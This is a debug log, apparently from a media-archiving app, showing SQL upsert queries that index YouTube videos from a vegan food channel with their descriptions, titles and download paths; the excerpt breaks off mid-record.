("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We taste test and review some of the best vegan cheeses on the market and test them in grilled cheeses and raw. See which vegan cheese brand wins as the best vegan cheese: Daiya, Miyokos, Field Roast Chao, or Violife.\n\nIn the comments, tell us which vegan cheeses are your favorite or if you've ever tried any. What did you think?\n\nIf you liked this video, don’t forget to give it a big THUMBS UP and SUBSCRIBE to @steamyvegan! \n\nCheck out these other cheesy videos! 👇🏻\n🧀 THE BEST VEGAN GRILLED CHEESE: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Grilled\u00A0Cheese!\u00A0🧀\u00A0Veg...\u00A0\u00A0\n🧀 CHEAT DAY CHALLENGE, EPIC GRILLED CHEESE SMACKDOWN: \u00A0\u00A0\u00A0•\u00A0EPIC\u00A0VEGAN\u00A0GRILLED\u00A0CHEESES!\u00A0Cheat\u00A0Day\u00A0Chal...\u00A0\u00A0\n\nTimestamps: \n0:00 - Introduction\n2:22 - Vegan Cheese Rating Categories\n2:56 - VioLife Vegan Cheddar Cheese Slices Raw Taste Test\n4:10 - Daiya Vegan Cheddar Cheese Slices Raw Taste Test\n6:23 - Miyoko's Vegan Mozzarella Raw Taste Test\n8:08 - Chao by Field Roast Vegan Tomato Cayenne Raw Taste Test\n9:23 - VioLife Cheddar Slices Melt Test and Overall Review\n11:42 - Daiya Cheddar Slices Melt Test and Overall Review\n13:46 - Miyoko's Mozzarella Melt Test and Overall Review\n14:52 - Chao Tomato Cayenne Melt Test and Overall Review\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Vegan Cheese for Grilled Cheeses and to Eat Raw🧀Daiya, Miyokos, Violife and Chao Taste Test", "d1a609d9-8c93-4ec5-81d5-d531bfaf88fa", 1, [], false, "lgPeexeqpJw", "https://www.youtube.com/watch?v=lgPeexeqpJw", 350, "/downloads/downloads/alec/Steamy Vegan/2022-08-16 The BEST Vegan Cheese for Grilled Cheeses and to Eat Raw🧀Daiya, Miyokos, Violife and Chao Taste Test/The BEST Vegan Cheese for Grilled Cheeses and to Eat Raw🧀Daiya, Miyokos, Violife and Chao Taste Test [lgPeexeqpJw].NA", false, false, false, 4, ~U[2022-08-16 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We taste test and review some of the best vegan cheeses on the market and test them in grilled cheeses and raw. See which vegan cheese brand wins as the best vegan cheese: Daiya, Miyokos, Field Roast Chao, or Violife.\n\nIn the comments, tell us which vegan cheeses are your favorite or if you've ever tried any. What did you think?\n\nIf you liked this video, don’t forget to give it a big THUMBS UP and SUBSCRIBE to @steamyvegan! \n\nCheck out these other cheesy videos! 👇🏻\n🧀 THE BEST VEGAN GRILLED CHEESE: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Grilled\u00A0Cheese!\u00A0🧀\u00A0Veg...\u00A0\u00A0\n🧀 CHEAT DAY CHALLENGE, EPIC GRILLED CHEESE SMACKDOWN: \u00A0\u00A0\u00A0•\u00A0EPIC\u00A0VEGAN\u00A0GRILLED\u00A0CHEESES!\u00A0Cheat\u00A0Day\u00A0Chal...\u00A0\u00A0\n\nTimestamps: \n0:00 - Introduction\n2:22 - Vegan Cheese Rating Categories\n2:56 - VioLife Vegan Cheddar Cheese Slices Raw Taste Test\n4:10 - Daiya Vegan Cheddar Cheese Slices Raw Taste Test\n6:23 - Miyoko's Vegan Mozzarella Raw Taste Test\n8:08 - Chao by Field Roast Vegan Tomato Cayenne Raw Taste Test\n9:23 - VioLife Cheddar Slices Melt Test and Overall Review\n11:42 - Daiya Cheddar Slices Melt Test and Overall Review\n13:46 - Miyoko's Mozzarella Melt Test and Overall Review\n14:52 - Chao Tomato Cayenne Melt Test and Overall Review\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Vegan Cheese for Grilled Cheeses and to Eat Raw🧀Daiya, Miyokos, Violife and Chao Taste Test", 1, nil, false, "lgPeexeqpJw", "https://www.youtube.com/watch?v=lgPeexeqpJw", "/downloads/downloads/alec/Steamy Vegan/2022-08-16 The BEST Vegan Cheese for Grilled Cheeses and to Eat Raw🧀Daiya, Miyokos, Violife and Chao Taste Test/The BEST Vegan Cheese for Grilled Cheeses and to Eat Raw🧀Daiya, Miyokos, Violife and Chao Taste Test [lgPeexeqpJw].NA", false, ~U[2022-08-16 00:00:00Z]] 20:31:08.609 [debug] QUERY OK source="sources" db=0.7ms idle=12.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.612 [debug] QUERY OK source="media_items" db=2.2ms idle=11.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-11 00:00:00Z], 1] 20:31:08.614 [debug] QUERY OK source="media_items" db=1.4ms idle=12.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you how to make easy banana 'ice cream' 3 ways! 🍦 It's vegan, dairy-free and gluten-free! 🌱 So delicious, so simple and takes almost no time at all. 😋 Follow these 3 easy banana nice cream recipes and you'll be on your way to chilly treat heaven!\n\nWhat is 'nice cream?' It's basically just vegan lingo for 'nondairy ice cream' that's made with bananas 🍌 Try it out and let me know what you think in the comments section!\n\nWhich flavour are you going to make first? 🍨 BLUEBERRY, PIÑA COLADA, or PB CHOCOLATE? 🤤\n\nCHECK OUT THESE RELATED VIDEOS ⬇️\nHow to Freeze Bananas 3 Easy Ways: \u00A0\u00A0\u00A0•\u00A0HOW\u00A0TO\u00A0FREEZE\u00A0BANANAS\u00A0🍌\u00A0❄️\u00A03\u00A0WAYS!\u00A0\u00A0\nBest Vegan Ice Creams Review and Taste Test: \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\nHealthy Chocolate Ice Cream (with a SECRET ingredient!): \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Chocolate\u00A0Ice\u00A0Cream\u00A0with\u00A0a\u00A0SECRET!\u00A0(...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness! ⬇️\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps:\n0:00 - Intro\n0:39 - How to Make Blueberry Nice Cream\n5:09 - How to Make Piña Colada Nice Cream\n7:21 - How to Make PB Chocolate Nice Cream\n9:35 - Outro", "How to Make EASY Banana 'Ice Cream' 3 Ways! 🍌🍦 Vegan, Dairy-free, Gluten-free!", "e3459279-7df1-45d6-b49d-c979b3901293", 1, [], false, "NG-i9_B_rmM", "https://www.youtube.com/watch?v=NG-i9_B_rmM", 351, "/downloads/downloads/alec/Steamy Vegan/2022-08-11 How to Make EASY Banana 'Ice Cream' 3 Ways! 🍌🍦 Vegan, Dairy-free, Gluten-free!/How to Make EASY Banana 'Ice Cream' 3 Ways! 🍌🍦 Vegan, Dairy-free, Gluten-free! [NG-i9_B_rmM].NA", false, false, false, 2, ~U[2022-08-11 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let me show you how to make easy banana 'ice cream' 3 ways! 🍦 It's vegan, dairy-free and gluten-free! 🌱 So delicious, so simple and takes almost no time at all. 😋 Follow these 3 easy banana nice cream recipes and you'll be on your way to chilly treat heaven!\n\nWhat is 'nice cream?' It's basically just vegan lingo for 'nondairy ice cream' that's made with bananas 🍌 Try it out and let me know what you think in the comments section!\n\nWhich flavour are you going to make first? 🍨 BLUEBERRY, PIÑA COLADA, or PB CHOCOLATE? 🤤\n\nCHECK OUT THESE RELATED VIDEOS ⬇️\nHow to Freeze Bananas 3 Easy Ways: \u00A0\u00A0\u00A0•\u00A0HOW\u00A0TO\u00A0FREEZE\u00A0BANANAS\u00A0🍌\u00A0❄️\u00A03\u00A0WAYS!\u00A0\u00A0\nBest Vegan Ice Creams Review and Taste Test: \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\nHealthy Chocolate Ice Cream (with a SECRET ingredient!): \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Chocolate\u00A0Ice\u00A0Cream\u00A0with\u00A0a\u00A0SECRET!\u00A0(...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness! ⬇️\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps:\n0:00 - Intro\n0:39 - How to Make Blueberry Nice Cream\n5:09 - How to Make Piña Colada Nice Cream\n7:21 - How to Make PB Chocolate Nice Cream\n9:35 - Outro", "How to Make EASY Banana 'Ice Cream' 3 Ways! 🍌🍦 Vegan, Dairy-free, Gluten-free!", 1, nil, false, "NG-i9_B_rmM", "https://www.youtube.com/watch?v=NG-i9_B_rmM", "/downloads/downloads/alec/Steamy Vegan/2022-08-11 How to Make EASY Banana 'Ice Cream' 3 Ways! 🍌🍦 Vegan, Dairy-free, Gluten-free!/How to Make EASY Banana 'Ice Cream' 3 Ways! 🍌🍦 Vegan, Dairy-free, Gluten-free! [NG-i9_B_rmM].NA", false, ~U[2022-08-11 00:00:00Z]] 20:31:08.615 [debug] QUERY OK source="sources" db=0.8ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.618 [debug] QUERY OK source="media_items" db=2.2ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-09 00:00:00Z], 1] 20:31:08.620 [debug] QUERY OK source="media_items" db=1.2ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FINALLY a vegan milk chocolate bar from one of the BIG chocolate bar companies Lindt Chocolatiers! 🍫 Check out our reactions as we review and taste test 2 of Lindt's new vegan milk chocolate bar flavors. Could these be the best vegan chocolate bars ever? \n\nLet us know in the comments if you've had a chance to try these out yet and what you think! 👇🏻👇🏻\n\nIf you like this review you might also want to check out our review of NotMilk 🥛 and NextMilk 🥛 or our BEST VEGAN ICE CREAMS 🍦🍨 review below ⬇️\nNOTMILK vs. NEXTMILK Review: \u00A0\u00A0\u00A0•\u00A0NotMilk\u00A0vs.\u00A0NEXTMILK\u00A0In-Depth\u00A0Review\u00A0and\u00A0T...\u00A0\u00A0\nBEST VEGAN ICE CREAMS Review: \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nTime Stamps: \n0:00 - Introduction\n1:07 - Lindt Vegan Milk Chocolate Ingredients\n1:50 - Vegan Milk Chocolate Bar Review Ranking Categories\n2:21 - Lindt Vegan Milk Chocolate Taste Test and Review\n4:45 - Lindt Vegan Hazelnut Milk Chocolate Taste Test and Review\n8:08 - Lindt Vegan Milk Chocolate Final Thoughts and Ratings\n\nINGREDIENTS FOR EACH BAR:\nOriginal 🍫 Sugar, oat powder (gluten-free oats, water, natural enzymes, maltodextrin), cocoa butter, almonds, cocoa mass, soy lecithin, flavour (may contain peanuts, other tree nuts, milk [obv, its not like they have a separate vegan facility])\nHazelnut 🍫 Sugar, oat powder (gluten-free oats, water, natural enzymes, maltodextrin), cocoa butter, hazelnuts, almonds, cocoa mass, soy lecithin, flavour) (may contain same ingredients as above)\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Vegan Milk Chocolate Bar EVER? Lindt Vegan Milk Chocolate Bar Review and Taste Teste!", "14c98aa4-3df1-42a5-9899-b653709f41e2", 1, [], false, "Q_Sl11xds9s", "https://www.youtube.com/watch?v=Q_Sl11xds9s", 352, "/downloads/downloads/alec/Steamy Vegan/2022-08-09 The BEST Vegan Milk Chocolate Bar EVER? Lindt Vegan Milk Chocolate Bar Review and Taste Teste!/The BEST Vegan Milk Chocolate Bar EVER? Lindt Vegan Milk Chocolate Bar Review and Taste Teste! [Q_Sl11xds9s].NA", false, false, false, 2, ~U[2022-08-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "FINALLY a vegan milk chocolate bar from one of the BIG chocolate bar companies Lindt Chocolatiers! 🍫 Check out our reactions as we review and taste test 2 of Lindt's new vegan milk chocolate bar flavors. Could these be the best vegan chocolate bars ever? \n\nLet us know in the comments if you've had a chance to try these out yet and what you think! 👇🏻👇🏻\n\nIf you like this review you might also want to check out our review of NotMilk 🥛 and NextMilk 🥛 or our BEST VEGAN ICE CREAMS 🍦🍨 review below ⬇️\nNOTMILK vs. NEXTMILK Review: \u00A0\u00A0\u00A0•\u00A0NotMilk\u00A0vs.\u00A0NEXTMILK\u00A0In-Depth\u00A0Review\u00A0and\u00A0T...\u00A0\u00A0\nBEST VEGAN ICE CREAMS Review: \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nTime Stamps: \n0:00 - Introduction\n1:07 - Lindt Vegan Milk Chocolate Ingredients\n1:50 - Vegan Milk Chocolate Bar Review Ranking Categories\n2:21 - Lindt Vegan Milk Chocolate Taste Test and Review\n4:45 - Lindt Vegan Hazelnut Milk Chocolate Taste Test and Review\n8:08 - Lindt Vegan Milk Chocolate Final Thoughts and Ratings\n\nINGREDIENTS FOR EACH BAR:\nOriginal 🍫 Sugar, oat powder (gluten-free oats, water, natural enzymes, maltodextrin), cocoa butter, almonds, cocoa mass, soy lecithin, flavour (may contain peanuts, other tree nuts, milk [obv, its not like they have a separate vegan facility])\nHazelnut 🍫 Sugar, oat powder (gluten-free oats, water, natural enzymes, maltodextrin), cocoa butter, hazelnuts, almonds, cocoa mass, soy lecithin, flavour) (may contain same ingredients as above)\n\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Vegan Milk Chocolate Bar EVER? Lindt Vegan Milk Chocolate Bar Review and Taste Teste!", 1, nil, false, "Q_Sl11xds9s", "https://www.youtube.com/watch?v=Q_Sl11xds9s", "/downloads/downloads/alec/Steamy Vegan/2022-08-09 The BEST Vegan Milk Chocolate Bar EVER? Lindt Vegan Milk Chocolate Bar Review and Taste Teste!/The BEST Vegan Milk Chocolate Bar EVER? Lindt Vegan Milk Chocolate Bar Review and Taste Teste! [Q_Sl11xds9s].NA", false, ~U[2022-08-09 00:00:00Z]] 20:31:08.621 [debug] QUERY OK source="sources" db=0.8ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.623 [debug] QUERY OK source="media_items" db=2.3ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-06 00:00:00Z], 1] 20:31:08.625 [debug] QUERY OK source="media_items" db=1.3ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're back with another vegan, non-dairy, and gluten free food review and taste test. Today, we're seeing if NotMilk's claims of being the best in the market are true or if Silk's NEXTMILK might be the best we've taste tested yet!\n\nTell us if you've tried these or what your favorite milk alternative is. We'd love to check out some of your favs.\n\nIf there are any other vegan, non-dairy, or gluten free reviews you'd like us to test out just leave a comment. We're thinking vegan and gf pizzas, snack bars, or pancakes and waffles. Thoughts?\n\nCheck out our ice cream review here: \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nTime Stamps:\n0:00 - Introduction\n1:58 - NOTCO NotMilk Taste Test and Review\n5:36 - Is NotMilk Good in Coffee?\n6:22 - Is NotMilk Good With Cookies?\n7:39 - Silk NEXTMILK Taste Test and Review\n10:43 - Is Silk NEXTMILK Good In Coffee?\n11:42 - Is Silk NEXTMILK Good With Cookies?\n12:04 - Our Final Thoughts About NotMilk and Silk NEXTMILK\n\n\nIf you liked this video and decide to share on social media, don't forget to tag me @SteamyVegan + #SteamyVegan! :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "NotMilk vs. NEXTMILK In-Depth Review and Taste Test - Should You Buy These Vegan Milk Alternatives?", "3e29bfeb-a797-4761-92d9-89a806753416", 1, [], false, "UwWh1cqEDy8", "https://www.youtube.com/watch?v=UwWh1cqEDy8", 353, "/downloads/downloads/alec/Steamy Vegan/2022-08-06 NotMilk vs. NEXTMILK In-Depth Review and Taste Test - Should You Buy These Vegan Milk Alternatives?/NotMilk vs. NEXTMILK In-Depth Review and Taste Test - Should You Buy These Vegan Milk Alternatives? [UwWh1cqEDy8].NA", false, false, false, 3, ~U[2022-08-06 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We're back with another vegan, non-dairy, and gluten free food review and taste test. Today, we're seeing if NotMilk's claims of being the best in the market are true or if Silk's NEXTMILK might be the best we've taste tested yet!\n\nTell us if you've tried these or what your favorite milk alternative is. We'd love to check out some of your favs.\n\nIf there are any other vegan, non-dairy, or gluten free reviews you'd like us to test out just leave a comment. We're thinking vegan and gf pizzas, snack bars, or pancakes and waffles. Thoughts?\n\nCheck out our ice cream review here: \u00A0\u00A0\u00A0•\u00A0The\u00A0ULTIMATE\u00A0Vegan\u00A0Ice\u00A0Cream\u00A0Review\u00A0and\u00A0Ta...\u00A0\u00A0\n\nTime Stamps:\n0:00 - Introduction\n1:58 - NOTCO NotMilk Taste Test and Review\n5:36 - Is NotMilk Good in Coffee?\n6:22 - Is NotMilk Good With Cookies?\n7:39 - Silk NEXTMILK Taste Test and Review\n10:43 - Is Silk NEXTMILK Good In Coffee?\n11:42 - Is Silk NEXTMILK Good With Cookies?\n12:04 - Our Final Thoughts About NotMilk and Silk NEXTMILK\n\n\nIf you liked this video and decide to share on social media, don't forget to tag me @SteamyVegan + #SteamyVegan! :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "NotMilk vs. NEXTMILK In-Depth Review and Taste Test - Should You Buy These Vegan Milk Alternatives?", 1, nil, false, "UwWh1cqEDy8", "https://www.youtube.com/watch?v=UwWh1cqEDy8", "/downloads/downloads/alec/Steamy Vegan/2022-08-06 NotMilk vs. NEXTMILK In-Depth Review and Taste Test - Should You Buy These Vegan Milk Alternatives?/NotMilk vs. NEXTMILK In-Depth Review and Taste Test - Should You Buy These Vegan Milk Alternatives? [UwWh1cqEDy8].NA", false, ~U[2022-08-06 00:00:00Z]] 20:31:08.626 [debug] QUERY OK source="sources" db=0.6ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.628 [debug] QUERY OK source="media_items" db=2.0ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-03 00:00:00Z], 1] 20:31:08.630 [debug] QUERY OK source="media_items" db=1.3ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you how to freeze bananas! 🍌❄️ Do you wonder what to do with spotty brown bananas, or do you throw them out when they get overripe? 😱 Don't EVER let your ripe bananas go to waste again with these three methods of freezing bananas.\n\nI hope this video has been helpful to you! Make sure to SUBSCRIBE for more plant-based tips, hacks and recipes and LIKE 👍🏻 this video! \n\nTimestamps:\n00:00 - Intro\n00:56 - Method 1: Freeze them whole\n1:16 - Method 2: Freeze them whole + peeled\n1:45 - Method 3: Slice and freeze \n\nWant more banana recipes? These other videos might interest you! 🍌\nBANANA TURMERIC MUFFINS: \u00A0\u00A0\u00A0•\u00A0GLUTEN-FREE\u00A0VEGAN\u00A0MUFFINS!\u00A0|\u00A02\u00A0easy,\u00A0delic...\u00A0\u00A0\nSUNSHINE SMOOTHIE: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0healthy\u00A0smoothies\u00A0💚\u00A0Easy,\u00A0deli...\u00A0\u00A0\nBANANA BLENDER PANCAKES: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANCAKES!\u00A0How\u00A0to\u00A0make\u00A0the\u00A0best\u00A0vegan...\u00A0\u00A0\n\n\nIf you used these tips and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Chinsaku - Spirit Of The Wind - https://thmatc.co/?l=C85703CF", "HOW TO FREEZE BANANAS 🍌 ❄️ 3 WAYS!", "dc937e0e-e2e2-4a4d-8b72-65ad142fcb84", 1, [], false, "Em_STW7wKQs", "https://www.youtube.com/watch?v=Em_STW7wKQs", 354, "/downloads/downloads/alec/Steamy Vegan/2022-08-03 HOW TO FREEZE BANANAS 🍌 ❄️ 3 WAYS!/HOW TO FREEZE BANANAS 🍌 ❄️ 3 WAYS! [Em_STW7wKQs].NA", false, false, false, 2, ~U[2022-08-03 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let me show you how to freeze bananas! 🍌❄️ Do you wonder what to do with spotty brown bananas, or do you throw them out when they get overripe? 😱 Don't EVER let your ripe bananas go to waste again with these three methods of freezing bananas.\n\nI hope this video has been helpful to you! Make sure to SUBSCRIBE for more plant-based tips, hacks and recipes and LIKE 👍🏻 this video! \n\nTimestamps:\n00:00 - Intro\n00:56 - Method 1: Freeze them whole\n1:16 - Method 2: Freeze them whole + peeled\n1:45 - Method 3: Slice and freeze \n\nWant more banana recipes? These other videos might interest you! 🍌\nBANANA 